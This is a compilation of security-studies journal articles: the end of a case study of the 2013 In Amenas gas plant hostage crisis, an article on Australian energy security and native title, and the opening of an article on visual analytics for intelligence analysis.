According to U.S. officials, 132 foreign nationals were taken hostage. In all, over 800 people were taken hostage. A statement released by the Islamist group to a Mauritanian news agency said they had 41 foreign nationals. Five were reportedly being held at the gas facility, and the rest at a nearby housing unit. The number included 13 Norwegians (4 of whom escaped to a nearby military camp), 7 U.S. citizens, 5 Japanese, 1 Irish, as well as nationals from France, Romania, and the United Kingdom. France 24 broadcast parts of a phone conversation with a French hostage, who said he was being held along with British, Japanese, Filipino, and Malaysian nationals.[26] On 17 January 2013, one Algerian security official told the Associated Press that at least 20 foreigners had escaped. Algeria's private Ennahar TV channel cited 15 foreign hostages, including 2 Japanese, a French couple and the sole Irish national, as having escaped or been freed. Earlier, the Algeria Press Service news agency reported that some 30 Algerian workers managed to free themselves. According to U.S. officials, 100 of the 132 foreign nationals had either escaped or been set free by mid-day 18 January. The same reports stated that 500 Algerians had been rescued as of 18 January. One American worker was also confirmed dead on 18 January.

The Algerian Response - the rescue operation

Algerian forces started their response within a couple hours after the attack started, but the remote location of the plant delayed the arrival of any sizable counterterrorist force during most of the first day. The remote location of the plant and complexity of the attack also made a situational size-up and the collection of ground truth intelligence more difficult. During the first night, however, the first Algerian forces arriving started to contain the site. Very early on the morning of the second day, a group of about 45 survivors escaped on foot from the Al-Hayat complex into the desert. Also early on the second day, Algerian helicopter gunships engaged and neutralized two vehicles travelling along the only access road away from the Al-Hayat complex. It was later reported that the vehicles were carrying both terrorists and hostages. Other workers escaped in various ways during the siege. As the world's attention became increasingly focused on the In

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[25] Duncan GARDHAM, *"Terrorist Group Behind Algerian Gas Plant Attack Filmed Training in the Desert,"* Telegraph, January 23, 2013.

[26] Laura SMITH-SPARK; Joe STERLING (19 January 2013).*"Bloody Algeria hostage crisis ends after 'final' assault, officials say"*. CNN. Retrieved 20 January 2013.

Amenas hostage crisis, Algerian forces cleared and secured the Al-Hayat complex and security checkpoint, consolidating the government's containment of the Tiguentourine processing facility. Communications between the hostage takers and government forces were unproductive and the terrorists escalated the situation by threatening to detonate the plant if a rescue operation were attempted. During the siege, AQIM announced two demands: (a) The cessation of French operations in Mali; and (b) the release of two prisoners being held in the United States: Sheikh Omar Abdel-Rahman and Pakistani scientist Aafia Siddiqui.[27] Finally, on the fourth day of the siege, amid sporadic exchanges of gunfire with the terrorists, Algerian forces reported that, because of information about hostages being executed, government troops had started a rescue assault to regain control of the Tiguentourine facility. Participating in the counter-attack were a coordinated force of ground and air units – some of them in Russian-built T-72 battle tanks and armored personnel carriers Mi-24 attack helicopters – and Special Forces personnel on foot. According to Algerian government officials, an unspecified number of the 38 hostages killed were found to have died of a single shot to the head, supporting government and survivor reports of hostage executions. In addition, an explosive was detonated next to one of the processing units, but failed to cause much damage, thanks to the early mitigation measures taken by plant workers on the first day of the siege. Other explosives also were found at various locations throughout the site, indicating that a major sabotage effort was planned but not fully carried out. Minister of Interior Dahou Ould Kablia said the Algerian government would not "respond to the demands of terrorists", and would not negotiate with the hostage takers. On the afternoon of 17 January 2013, the Algerian Special Intervention Group began an assault on the complex using helicopter gunships and heavy weapons. The Algerian Special Intervention Group (French: *Groupe d'Intervention Spécial*, GIS) is a Special Forces group created in Algeria in 1987. In addition to the commando-style typical training of Western forces like the French COS and the Russian Spetsnaz, they also receive training on specialized topics like tactical intervention from the National Gendarmerie Intervention Group, commonly abbreviated GIGN (French: *Groupe d'Intervention de la Gendarmerie Nationale*), which is a special operations unit of the French Armed Forces, *Recherche Assistance Intervention Dissuasion* (Research, Assistance, Intervention, Deterrence) or commonly abbreviated RAID is, like the GIPN, a special operations tactical unit of the French National Police with more manpower and equipment. Since 1992, GIS forces have operated within the context of violent confrontation between the Algerian government and Islamic militants; major human rights violations against civilians have been alleged against both sides. A resulting arms embargo against Algeria initially prevented the GIS from obtaining equipment such as night-vision goggles typical for such units. They also had 4x4 vehicles, advanced night vision optics, and motion detectors for covertly determining the positions of hostages or hostage takers, inside enclosed structures. However, after the September 11, 2001 attacks, western materiel vendors were allowed to sell equipment to Algeria in the name of the international War on Terrorism. Algerian commanders explained they launched the assault because the gunmen had demanded to be allowed to take the hostages abroad. The Mauritanian news agency ANI said the assault came while the militants were attempting to move hostages by vehicle. An Irish engineer who survived is reported as having said he saw four trucks of hostages being blown up by the Algerian forces. Hostages in two other sport utility vehicles (SUVs) were freed by the Algerian forces. An Algerian security source said that 30 hostages and 11 militants were killed during the

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[27] http://www.usatoday.com/story/news/world/2013/01/17/algeria-terror-group-biography/1841831/

raid, which was reported as lasting eight hours. According to the ANI, militants claimed that 34 of the hostages and 14 of the Islamists were killed in this initial attack. According to a kidnapper who spoke with the agency, seven hostages were still being held – three Belgians, two Americans, and one British and Japanese citizens. An Algerian security source earlier confirmed that about 25 foreign hostages had escaped the compound. At least 180 Algerian workers had either escaped the complex or been freed, according to local sources, with a number of others still remaining inside. Several Western officials bemoaned Algeria's failure to minimize casualties, while Japan criticized Algeria for failing to heed Japan's earlier request to "put human lives first and asked Algeria to strictly refrain". Analysts say Algeria's lack of consultation fit in with a general pattern of acting independently, its policy of no negotiation with terrorists, and, according to Anouar Boukhars of the Carnegie Endowment for International Peace that "Algerians are jealous of their sovereignty". Algeria's Prime Minister Abdelmalek Sellal in a press conference on 21 January praised[28] the decision by Algerian Special Forces to storm the site, adding that the aim of the kidnappers was to "blow up the gas plant". He stressed that "The terrorists also shot some of the hostages in the head, killing them."[29] (For the sketch of Algerian operation see Annex B)

Conclusion

The terrorist attack on Tigantourine gas facility near In Amenas in eastern Algeria was in many respects a true watershed event because it demonstrated the will and ability of terrorist groups to plan and execute attacks on very difficult and even remote critical-infrastructure targets. It is more than clear that almost all aspects of security plans failed. The reason most probably is that the planning team of the Tigantourine gas facility responsible for the security did not follow the planning methodology (the so-called comprehensive methodology to planning of critical infrastructure protection)[30] of capabilities for critical infrastructures protection (this methodology well described in Maria Bordas's work titled „Planning Methodology of Capabilities for Critical Infrastructures Protection" or even was not familiar with what kind of capabilities (they are well detailed in Dr Bordas's study) are really needed for a such very important infrastructure of energy production.[31]

Regardless of security failures, the fact that Mokhtar Belmokhtar, leader of the AQIM group that launched the In Amenas attack (although not the commander of the attack), could pull together 32 fighters able to compromise multiple facilities in less than 15 minutes is impressive. Algerian perimeter security, provided by police, was quickly and easily swept aside. Undetected, the attackers seized the poorly protected gas complex, crashing trucks through the plant's gates, hitting the production area and the living quarters simultaneously. It was evident that the attackers had inside knowledge of the complex, its operational tempo and its poor security. They rounded

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[28] http://www.cbc.ca/news/world/story/2013/01/21/algeria-hostage-canadians.html

[29] http://mediacenter.dw.de/english/video/item/818711/Algeria_gives_account_of_In_Amenas/

[30] Dr habil. Maria BORDAS, PhD, Col Janos TOMOLYA, PhD: *Planning Methodology of Capabilities for Critical Infrastructures Protection*, NATO ARW publication on the COE DAT WS: Planning Methodology of Capabilities for Critical Infrastructures Protection, NATO ARW publication (NATO Science for Peace and Security Series Humans and Societal Dynamics - Vol. 116. 2014.) on the COE DAT WS: Critical Infrastructure Protection, page 93.

[31] Dr habil. Maria BORDAS, PhD, Col Janos TOMOLYA, PhD: *Planning Methodology of Capabilities for Critical Infrastructures Protection,* NATO ARW publication (NATO Science for Peace and Security Series Humans and Societal Dynamics - Vol. 116. 2014.) on the COE DAT WS: Critical Infrastructure Protection, pp 97-98.

up the foreigners, mainly Western technicians, who were handcuffed and strapped to explosives, the report said. When the Algerian response finally came, after the AQIM terrorists had taken numerous hostages, it was blunt and imprecise. The Algerian response was nothing like the counter-terror operations undertaken at the Japanese Embassy in Peru in 1997 or the Iranian Embassy in London in 1979. When bullets flew at In Amenas, it appeared that they flew rather indiscriminately. Later, when the Algerians unleashed their ferocious, take-no-prisoners assault on the complex, the jihadists used the foreigners as human shields, when the helicopter gunships strafed the facility. Al-Qaida in the Islamic Maghreb (AQIM) remained a significant security threat, primarily in the mountainous areas east of Algiers and in the vast desert regions of the south, near countries on Algeria's southern border: Mali, Mauritania, and Niger. AQIM largely targeted Algerian security forces, but civilians were also wounded or killed collaterally. Algerian security forces isolated AQIM in the north and decreased the number of successful terrorist attacks, but AQIM continued to execute suicide attacks, attempts using improvised explosive devices (IED) and ambushes in the non-urban areas outside Algiers[32]. Kidnapping Westerners in remote areas continued during the year as AQIM held hostages with the goal of receiving lucrative ransom payments. Algerian officials cited links between AQIM and other African terrorist groups, such as al-Shabaab and Boko Haram, and also noted criminal links between AQIM and narco-traffickers in the Sahel. This will remain so even as French forces engage these groups in countries such as Mali. Terrorist targets will include, but not be limited to:

   1) Western establishments and people;

   2) energy, mining and enterprise projects, especially those run by foreigners; and

   3) regional government assets and personnel cooperating with foreign governments. It is really well stated in Maria Bordas's paper saying that "Every nation has an obligation to protect essential government, financial, energy, transportation, and other critical infrastructure operations against terrorist activities and natural disasters."[33]

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[32] US Department of State: Chapter 2. Country reports Middle East and North Africa Overview, July 31, 2014. downloaded from the http://www.state.gov/j/ct/rls/crt/2011/195544.htm domain on 14 September 2014

[33] Dr habil. Maria BORDAS, PhD, Col Janos TOMOLYA, PhD: *Planning Methodology of Capabilities for Critical Infrastructures Protection*, NATO ARW publication (NATO Science for Peace and Security Series Humans and Societal Dynamics - Vol. 116. 2014.) on the COE DAT WS: Critical Infrastructure Protection, page 116.

Annex A: Islamist militant groups and their areas of influence in Africa and Al-Qaeda cast Shadow over Sahel region[34]

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[34] http://1389blog.com/2011/08/10/al-qaeda-in-the-islamic-maghreb-makes-renewed-push-in-the-sahel/

Key to Schematic

1	Militant cordon/block engages vehicle carrying workers/security staff
2	Militants neutralise site security
3	Facility and accommodation secured and hostages taken
4	4/5 vehicles moving hostages engaged and destroyed by Algerian HIND
5	Algerian security forces retake accommodation compound
6	Algerian SF retake and secure facility

Annex B: The outline schematic of events[35]

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[35]Seven Questions Co.: Algeria: In Amenas, OSINT Briefing 13 April 2013., page 9. downloaded from http://www.openbriefing.org/docs/In-Amenas-OSINT-briefing.pdf domain on 14 September 2014.

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35. Source: active-watch OSINT intelligence monitoring service from www.sevenquestions.co.uk

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KRISZTINA OSVÁT

ENERGY SECURITY OF AUSTRALIA

Abstract

The aim of this article is to give a short overview about the present situation of the Australian energy sector and highlight some challenges the country faces in the near future. In a wider context, it is important for us to understand the issues and the unsettled problems deriving from the Native Title legislation and procedure, because according to the estimations, more than 60% of the energy recourses can be found on Aboriginal territories.
There are several problems with the native title parties, but a close cooperation among the local governments, Aboriginal communities and the representatives of the mining companies is unavoidable. At the same time, it is worth mentioning some new economic opportunities for the Aboriginal land such as carbon farming or biobanks. These new initiatives are in close connection with the government's emission reduction plan.

Introduction

From time to time the Australian Government develops different types of so called, White Papers that set out an integrated and coherent government position on certain key issues, such as defense, energy, or significant developments.

Energy White Paper is the Government's most important guidance about Australia's overall, long-term energy strategy. It allows the government and communities to understand the different possibilities and challenges for Australia's future energy and security needs. The deliberation of the new Energy White Paper was expected to be completed by the end of 2014, as a part of a broader package of government reforms.

Energy resources

Australia has plentiful and diverse energy resources, including significant amounts of coal, gas, uranium and renewable energy. According to data from Australia's Bureau of Resource and Energy Economics (BREE), Australia it is one of the few countries belonging to the Organization for Economic Cooperation and Development (OECD) that is a significant energy exporter, sending nearly 70% of its total energy production overseas. These exports provide jobs and income, and helped the country withstand the global financial crisis. Exports of energy resources contributed 69 billion AUD to the national income[1], and gave work to 123,000 people in 2012-

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[1] Bureau of Resources and Energy Economics, 2014 Resources and Energy Quarterly, June Quarter 2014, Canberra

2013[2]. Energy related industries contributed nearly 102 billion AUD (6,7%) to Australia's Gross Domestic Product (GDP), in the same year[3].

The International Energy Agency forecasts that global energy demand will grow by a third by 2035 and the demand for coal will grow by almost a fifth[4].

Renewable energy produces more than 9% of Australia's electricity supply with wind and solar photovoltaic growing rapidly to become significant sources of power[5]. The costs of these renewable technologies have fallen significantly.

Although the country is rich in uranium, Australia has no nuclear-powered electricity generation capacity and exports all of its uranium production. Despite the fact that the country produces large amounts of oil, still imports refined petroleum products and crude oil to meet the country's liquid fuel demand. The Australian transport system is wholly oil dependent[6].

The country's northern and north-western regions rely on oil product imports resulting from the lack of sufficient regional refining capacity, while the eastern side imports crude oil for its refineries and domestic markets. Singapore supplies about 47% of Australia's oil product imports, with the most of the remainder coming from refiners in Japan and South Korea. Most crude oil imports are from Malaysia, United Arab Emirates and Indonesia. According to the Australian Bureau of Statistics, in 2013 about 20% of the crude oil imports came from West Africa, as Nigeria, Congo and Gabon.

Australia's petroleum demand by product, 2013

eia Source: FACTS Global Energy

According to the International Energy Agency (IAEA), Australia had about 120 privately-owned coal mines located throughout the country in 2012. The majority of Australia's coal production comes from open pit operations, with the remainder coming from underground mines.

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[2] Australian Bureau of Statistics cat. no. 8155.0, Australian Industry
[3] Australian Bureau of Statistics cat. no. 5204.0, Australian System of National Accounts
[4] International Energy Agency, 2013, World Energy Outlook 2013, Paris (under the new policies scenario)
[5] Australian Energy Technology Assessment 2012, http://www.bree.gov.au/publications/aeta.html
[6] Australia's Liquid Fuel Security - A report for NRMA Motoring and Services, Prepared by John Blakburn 28 February 2013

International companies such as BHP Billiton, Anglo American (UK), Rio Tinto (Australia-UK) and Xstrata (Switzerland) play a significant role in the country's coal industry.

The data of the Australian Bureau of Statistics show that Japan was the destination for nearly 35% of Australia's coal exports in 2013. China is Australia's second largest market for exported coal. Other important markets included South Korea (14%), India (11%) and Taiwan (9%). Most exports are from the regions of Queensland, New South Wales and Western Australia.

The energy infrastructure provides a solid basis for continued economic growth and high standard of living. That is why the government seizes the opportunities to increase energy resources investments. Asia's increasing demand for energy resources provides an ongoing opportunity for Australia's export growth. As the country is a more attractive investment destination than other resource-rich countries in the region, Australia must be seen as a country open for business, with a stable and predictable environment that at the same time protects its national interests.

Similarly to the Hungarian Government's concept introduced in 2012, Australia is also encouraging wealthy immigrants to move into the country with a new visa type issued in 2013, called the Significant Investor Visa. The new type of visa grants residence to immigrants who can make an investment of at least 5 million AUD in the Australian economy. Last year, the immigration concept was further developed and from July 2015 the investors can apply for „Gold Visa" that grants permanent residence for those immigrants who can make at least 15 million AUD in the Australian economy.

The country tries to preserve its position as a leading global energy provider through innovation, as well. For example, Australia's world-leading deployment of floating liquefied natural gas (FLNG), which provides a new way to economically develop harder-to-reach offshore reserves, or the liquefied natural gas (LNG) export industry in Queensland, which will be the first in the world to bring onshore coal seam gas to export markets.

Australia exports natural gas almost exclusively to Asian markets. Japan purchased about 80% of Australia's 2013 exports.

The management of oil exploration and production is divided between the states and the Federal Government.

International oil companies dominate the oil and natural gas exploration and development of Australia. The country has a well-developed domestic oil pipeline network, which is privately owned and operated.

Nowadays energy security is a key part of global interdependence, and the effective management of energy security is a key challenge not only for Australia but other global players, as well. Several reports have done that dealt with the present challenges of Australia's energy sector.

One part of these reports analyses the possible negative impacts of Native Title on the different investments in the energy sector and mining industry. The other part draws attention to the importance for Australia to reshape its energy approach to avoid an inevitable crisis flowing from its situation of energy dependence.

Native Title in Australia

In Australia, the Aboriginal title is referred to as native title, which constitutes „the recognition by Australian law that some indigenous people have rights and interest to their land that come from their traditional laws and customs".[7] In other words native title can be considered as a bridge between customary Aboriginal laws and white Australian laws. Native title is tightly linked with the so called „Mabo case" . Eddie Koiki Mabo was a member of the Meriam people[8], who wanted their traditional land rights acknowledged in 1982.

One year after the recognition of the legal concept of native title in Mabo case, the Keating Government[9] formalized the recognition by legislation with the enactment by the Australian Parliament of the Native Title Act 1993.

The Native Title Act established a National Native Title Tribunal, set out processes for the determination of native title rights allowed Aboriginals to gain recognition of rights and interests.

Under the Act, when a company wants a mining lease on Aboriginal land, the Aboriginal group has six months to negotiate with the company. If an agreement cannot be reached, either party may refer the matter to arbitration by the National Native Title Tribunal. At the same time, there are no requirements for a company exploring for resources to approach traditional Aboriginal owners directly if native title has not been determined for the area.

In several cases, local people get knowledge of the potential for minerals exploration from newspaper advertisements. The Native Title Act contains no right of veto for Aboriginal people when mining companies intend to open mines on Aboriginal land. Nowadays 80% of mining activities in Australia takes place on Aboriginal land[10].

Energy resources and Native Title determination areas

Source: own drawing, used the relevant data of the Australian Bureau of Statistics, 1301.0-Year Book Australia 25/05/2012. (18.27), National Native Title Tribunal 31/03/2014.

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[7] „Exactly what is native title ?-What is native title?- National Native Title Tribunal
http://www.nnttt.gov.au/Information-about-native-title/Pages/Nativtitlerightsandinterests.aspx. 19 December 2007. Retrieved 28 January 2011.
[8] Mer is an island of a Murray group (Mer, Dauar and Waier islands). Far from North Queensland.
[9] Australia's 24th Prime Minister between December 1991 and March 1996.
[10] Aboriginal culture-Land-Threats to Aboriginal land, Jens Korff 30 December 2014.

Although mining is one of the threats for Aboriginal land, it can also yield benefits. A good example for this is that the Njamal people from Australia's Pilbara region signed a contract with the Fortescue Metals Group in December 2011. This agreement is believed to be the first joint venture between a miner and an Aboriginal group. It means that the contract makes Njamal people managers of the mine, producing 100 million tons of iron ore. Njamal people mine the ore within their native title claim area, while Fortescue buys it at an agreed price.

The Australian Government plans to involve Aboriginal communities in participating in the Indigenous Carbon Farming Found, as Australia remains committed to reducing carbon emissions by 5% until 2020 (against 2000 levels)[11]. The Carbon Farming Initiative is a voluntary procedure, where resources that store carbon, such as trees, can be audited and then assessed for credits. At later stage, the credits can be sold to polluters looking to offset carbon emissions[12].

Australia's first Aboriginal-owned biobank opened in the Hunter Valley in April 2012[13]. By the help of this initiative, certain parts of the Aboriginal land can be saved because once a biobank has been set up, the land cannot be developed.

Liquid Fuel Security

Air-Vice Marshal John Blackburn has produced the second report last year on Australia's liquid fuel security situation. Both reports have drawn the attention to the country's worsening liquid fuel security problem, the growing risks in their fuel supply chain and have tried to find possible remedial actions.

In his view, there is no public government policy on maintaining a minimum level of oil refining capacity in Australia. The country's combined dependency on crude oil and fuel imports for transport has grown from around 60% in 2000 to over 90% today[14]. According to the reports, Australia had 6 refineries at the beginning of 2014, operated by BP, ExxonMobil, Shell and Caltex Australia. The total Australian refinery capacity will decline 28% within the next two years.

The present situation also raises concerns about the ownership and the reliability of oil and fuel shipping companies, because there are no Australian owned commercial fuel tankers. The important question is the ownership of the refineries[15] that the country will increasingly depend on; and the availability of liquid fuel imports in times of future regional instability.

This situation makes it clear why Australian defense forces are concerned about the air and maritime transit points into and out of Australia. It gives an answer also why maritime security enjoys a high priority for the Australian defense and security forces in the region.

Blackburn urges the government to achieve a better situation for the country, because if scenarios such as confrontation, piracy, accidents, natural disaster, threats from state or non-state actors were to happen that have unfavorable impact on the shipping lanes and the timely delivery of oil supplies. That is why a reasonable energy reserve has to be generated within the country.

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[11] Energy White Paper Australian Government Department of Industry, December 2013.
[12] „Carbon farming scheme targeted", Koori Mail 525 p. 34
[13] „Hunter biobank in business", Koori Mail 524 p.7
[14] Adopted from Australian Petroleum Statistics Table 2. and Table 4. BREE 2014.
[15] For example the SRC Jurong Island Refinery in Singapore is 50% owned by Chinese companies.

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CONSULTATION

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A PICTURE IS WORTH A THOUSAND WORDS: VISUAL ANALYTICS-WHAT IS IT AND WHY NOW?

Abstract

The explosion of technological advancement over the past several decades has changed the world we live in—and the threat that we face. Analyzing and understanding the dynamics of the modern low-intensity battlefield will require the continual advancement of intelligence analysis methodologies and technologies. The data that needs to be analyzed in order to deal with the current intelligence challenges continuously expands; the intelligence analyst will be forced to move faster through more data. But conventional methods of analysis are either too time consuming or simply incapable of processing such large amounts of data, and further expound the need for an alternative approach to meet the demand for analysis. As a multi-disciplinary field that is empirically grounded and leverages the innate human ability to process massive amounts of data visually, Visual Analytics offers a chance to produce both timely and detailed intelligence for those operating in today's dynamic environment.

Key words: Visual Analytics, intelligence community, link analysis, social network analysis, temporal analysis, geographical analysis

Introduction

It is said that a picture is worth a thousand words; but whoever coined this phrase may have mistaken the picture. Given that the average size of a digital photograph taken on an iPhone 5 is approximately 2.3 megabytes, and the fact that one megabyte can hold approximately 873 pages of text, a picture may be worth a half-million words.[1] Not only does a picture hold an immense amount of information, but our human ability to process information visually is remarkably efficient. In 2006, researchers at the University of Pennsylvania determined that the human retina transmits data to the brain at the rate of 10 megabytes per second—the benchmark speed for broadband Internet connections.[2] Given the capacity of a picture, and our innate visual

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[1] "How Much Is 1 Byte, Kilobyte, Megabyte, Gigabyte, Etc.?," Computer Hope, accessed February 27, 2014, http://www.computerhope.com/issues/chspace.htm.

[2] Karen KREEGER, "*Penn Researchers Calculate How Much the Eye Tells the Brain,*" Penn Medicine News, July 26, 2006, http://www.uphs.upenn.edu/news/News_Releases/jul06/retinput_print.htm.

processing ability, how can the intelligence community leverage these two things to meet the intelligence challenges of the 21ˢᵗ Century?

Technology is not only changing how we live, but also the threats we face and how those threats operate. In past decades, threat analysis was focused on a specific set of identifiable state-based indicators, such as personnel and military equipment movements. However, the threats posed today by non-state actors do not afford intelligence agencies the same identifiable indicators. The indicators of today's threats are found in tiny, disparate pieces of information that when analyzed in isolation holds no value. It is only when these incongruent pieces, are correctly assembled by means of a stringent methodology, and context and structure is imparted on the amalgamation, that these minute pieces of data appreciate into their actual intelligence value. The clues to detect and eliminate the threats of today are hidden in massive stores of data and information that increase every day.

The question for the intelligence community then becomes, how do we leverage technology and our innate ability to process information visually to meet this challenge as quickly and effectively as possible? Part of the solution can be found in Visual Analytics, an evolving yet powerful method of analytical reasoning. This introduction will provide a broad overview of Visual Analytics, defining Visual Analytics, addressing its importance to the intelligence community, and citing some of the limitations of the field and its methodologies.

Intelligence Analysis in the Information Age

As Gregory F. Treverton observes in his work, <u>Intelligence For an Age of Terror,</u> "during the Cold War, intelligence was concerned primarily with states; non-state actors like terrorists were secondary. Now the priorities are reversed."[3] The unique nature of low-intensity conflict around the world presents the Intelligence Community with enormous challenges. For example, as Sean Everton notes, "the terrorist network that carried out the March 11, 2004, Madrid train bombings was able to maintain operative ties with the larger network, while remaining relatively isolated from and unknown to one other. This probably helped the network remain relatively invisible to counterterrorism efforts and provided it with a degree of stability if group members were captured." [4]

To identify and target these threats, the intelligence apparatus has to dig through , "overwhelming amounts of disparate, conflicting, and dynamic information," and ultimately employ, "human judgment to make the best possible evaluation of incomplete, inconsistent, and potentially deceptive information in the face of rapidly changing situations."[5] At a tactical level, the challenge is just as daunting. Coalition operations in Iraq and in Afghanistan highlight the fact that comprehensive understanding of the human environment is critical on the asymmetric battlefield. These requirements place such demands on tactical intelligence assets that were not designed to be met under the Cold War in the high-intensity conflicts.

To provide an idea of how much data are actually out there, a study referenced in a recent Forbes.com column found, "that the world produced 14.7 exabytes of new information in 2008,

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[3] Intelligence for an Age of Terror, by Treverton, Gregory F. 1 edition. Cambridge University Press (2009).

[4] *Disrupting Dark Networks,* by Sean F. Everton. Cambridge University Press (2012).

[5] James J. THOMAS and Kristin A. COOK, eds., *Illuminating the Path: The Research and Development Agenda for Visual Analytics* (IEEE Computer Society Press, 2005), 2.

nearly triple the volume of information in 2003."[6] Like a megabyte or gigabit, an exabyte is a measure of digital size. To provide some context, a single exabyte is just under quadrillion pages of plaintext, or the maximum capacity of over 120 million of Apple's newest and largest 128 gigabyte iPads.[7]   It is safe to assume whatever the current amount of data is, that it far exceeds this particular estimate from 2008 further illustrating the amount of data that needs to be combed through. Conventional methods of analysis are either too time consuming or simply incapable of processing such large amounts of data, and further expound the need for an alternative approach to meet the demand for analysis.

As the demand on intelligence assets increases, and the amount of data that needs to be analyzed expands, the intelligence analyst will be forced to move faster through more data. Presented with this dilemma and the high-intensity oriented intelligence apparatus, there are two possible results: detailed intelligence produced too slowly to be operationally useful; or intelligence produced quickly, but at the expense of the fine detail necessary to succeed in an asymmetric environment. This brings us to the vital importance of Visual Analytics to the intelligence community. By leveraging technology and the human capacity to understand things visually, an analyst is enabled to process large amounts of data quickly—preserving fine details and saving precious time.

Visual Analytics: What Is It?

Visual Analytics is a rapidly evolving, multi-disciplinary field that seeks to provide the form, methodologies, and technologies to meet the challenges of interpreting complex problems and large data sets. There are several definitions of Visual Analytics in print, but one of the most concise comes from Jim Thomas. A pioneer in the field, Thomas defined Visual Analytics as, "the science of analytical reasoning facilitated by interactive visual interfaces."[8]   Thomas' definition underscores the scientific grounding of Visual Analytics, and its reliance on technology to capitalize on the keen human ability to process and understand things visually.

Visual Analytics is as much about the process as it is about the product. In the foundational work, *Illuminating the Path: The Research and Development Agenda for Visual Analytics,* Thomas provides some additional insight into the *how* and *why* of Visual Analytics:

Visual analytics strives to facilitate the analytical reasoning process by creating software that maximizes human capacity to perceive, understand, and reason about complex and dynamic data and situations. It must build upon an understanding of the reasoning process, as well as an understanding of underlying cognitive and perceptual principles, to provide mission-appropriate interactions that allow analysts to have a true discourse with their information. The goal is to facilitate high-quality human judgment with a limited investment of the analysts' time.[9]

This excerpt offers some key insights about Visual Analytics that are worth noting. First,

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[6] Gil Press, "A Very Short History Of Big Data - Forbes," *Forbes.com*, accessed February 25, 2014, http://www.forbes.com/sites/gilpress/2013/05/09/a-very-short-history-of-big-data/2/.

[7] Sanjeev MISHRA, *"Do You Know How Much Is a Terabyte, Petabyte, Exabyte, Zettabyte Compared to a Single Byte," Internet Techies*, accessed February 25, 2014, http://www.clickonf5.org/1994/how-much-terabyte-petabyte-exabyte-zettabyte/.

[8] THOMAS and COOK, *Illuminating the Path*, 4.

[9] THOMAS and COOK, *Illuminating the Path*, 33.

the field of Visual Analytics is dependent upon technology to transform data and information into visual displays. Second, the scientific approach of Visual Analytics lends credibility to the findings and assures a degree of standardization across the field. Third, the term "discourse" indicates that the data and visual display of that data must be dynamic and interactive; a feature that adds depth and density to the analysis. Finally, the key point of Visual Analytics is to save time—a non-renewable resource that is always in short supply.

Take for example, Figure 1 below. Figure 1 is a snapshot from the Washington, D.C. Metropolitan Police Department (MPD) database on annual crime reports. This particular snapshot depicts the 20 categories that the MPD tracks for each crime including time, date, location, type of crime, etc. There were over 34,000 reported crimes this particular year equalling over 680,000 individual pieces of data that have to be sorted, processed, and analyzed.[10] Now consider Figure 2. This figure is a visualization of the same type of data. In a very compact amount of space, this product quickly informs the analyst of geographic locations, time, type, and frequency of crimes.[11] Further examination of this product reveals additional applicability.

Compare to the images to each other. They are the same data, but the visualization clearly allows the analysts to have a greater understanding of the information. Visual analysis software allows the analyst to interact with the data in a manner that the spreadsheet does not—allowing the human eye to quickly identify trends and patterns through the use of colour, size, and shape that the spreadsheet is void of. This simple example demonstrates how visual analytics can greatly empower the intelligence analyst while preserving both time and detail.

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[10] "Crime Incidents (ASAP) 2011" (The District of Columbia, December 31, 2013), http://data.octo.dc.gov/Main_DataCatalog.aspx.

[11] Miranda Li, "District of Columbia Crimespotting: Month of December 2009" (Tableau Software, July 12, 2013), http://www.tableausoftware.com/learn/gallery.

Figure 1 – A screenshot of the Washington, D.C. Metropolitan Police Department (MPD) Crime Incidents. This spreadsheet contains approximately 34,000 entries.[12]

[12] "Crime Incidents (ASAP) 2011."

District of Columbia Crimespotting
Month of December 2009

Figure 2 – This visual analysis product depicts MPD crime data in a completely different way.[13]

There are four Visual Analysis methods that are of specific value to the intelligence community: Link Analysis, Social Network Analysis, Geospatial Analysis, and Temporal Analysis. All four methods generate different products, but are most effective when used together in order to provide a more comprehensive understanding of the problem being analyzed. To provide a more concise explanation and description of these approaches, this article will compare Link with Social Network Analysis, and Geospatial with Temporal analysis.

Link and Social Network Analysis – The terms Link and Social Network Analysis are often confused and warrant clarification. Link Analysis links people, organizations, places, objects, and events to each other. This process produces a visualization called a *link analysis diagram*. This method of analysis allows the analysts to examine connections and relationships as well the properties of the data points entered. Link Analysis has other features, but they are best explained through comparison with Social Network Analysis.

As defined by Stanley Wasserman, the analytical method of Social Network Analysis "provides a precise way to define important social concepts, a theoretical alternative to the assumption of independent social actors, and a framework or testing theories about structured social relationships."[14] It achieves this through the application of social theory and statistical analysis to the different relationships, or ties, that connect people or organizations to each other. Unlike Link Analysis that includes people, places, and things, Social Network Analysis only analyzes a single mode, or class of entities, either people or organizations. In other words, Social

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[13] Li, "District of Columbia Crimespotting: Month of December 2009."

[14] Stanley WASSERMAN, *Social Network Analysis: Methods and Applications* (Cambridge University Press, 1994), 17.

Network Analysis only compares apples to apples, whereas Link Analysis allows for the comparison of apples to oranges to bananas. Because all of the nodes in a social network analysis are the same, standardized values can be assigned to the nodes and their properties. These standardized values permit the application of algorithms which provide statistical data and give visual structure to the network in the form of a *sociogram*. A side-by-side comparison of a link analysis diagram and a sociogram can be seen in Figure 1.

Link Analysis Diagram   **Sociogram**

Figure 3 – A side-by-by comparison of a Link Analysis Diagram[15] and a Sociogram[16].

Social Network Analysis demands the stringent adherence to precise attribute and relational definitions, coupled with the hard science of mathematics. As a result, this method produces empirically grounded, quantifiable results that allow for measurements and high-resolution analysis of social networks.[17]

The empirical grounding is what really distances Social Network Analysis from Link Analysis. Link Analysis depicts connections, but is very susceptible to the analyst's interpretations and biases, particularly when placing and moving nodes on the link analysis diagram. Node placement on a sociogram, however, is determined mathematically by an established and reproducible algorithm. In other words, where a node is placed in a sociogram is mathematically derived and represents specific meaning, whereas physical node placement in a link analysis diagram does not hold any analytical value. Link Analysis also lacks the mathematically derived measurements that Social Network Analysis offers. These metrics allow the analyst to draw statistically supported, empirical conclusions from their analysis.

Geospatial and Temporal Analysis – Geospatial Analysis, "concerns *what* happens *where*, and makes use of geographic information that links features and phenomena on the Earth's surface to their locations."[18] Temporal Analysis concerns itself with analyzing occurrences or phenomenon over time—to answer the question *when?* Looking at instances overtime significantly increases an analyst's ability to identify patterns of occurrence and to draw a number

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[15] Mike BETRON, "First Party Fraud (post 4 of 4) – An Example of Social Link Analysis in Action | Infoglide Software," *Infoglide*, accessed February 26, 2014, http://www.infoglide.com/blog/first-party-fraud-sla-example/.

[16] Adam C. SPRINGER and J. E. de STEIGUER, "Social Network Analysis: A Tool to Improve Understanding of Collaborative Management Groups," *Journal of Extension* 49, no. 6 (2011): 5.

[17] WASSERMAN, *Social Network Analysis*, 17.

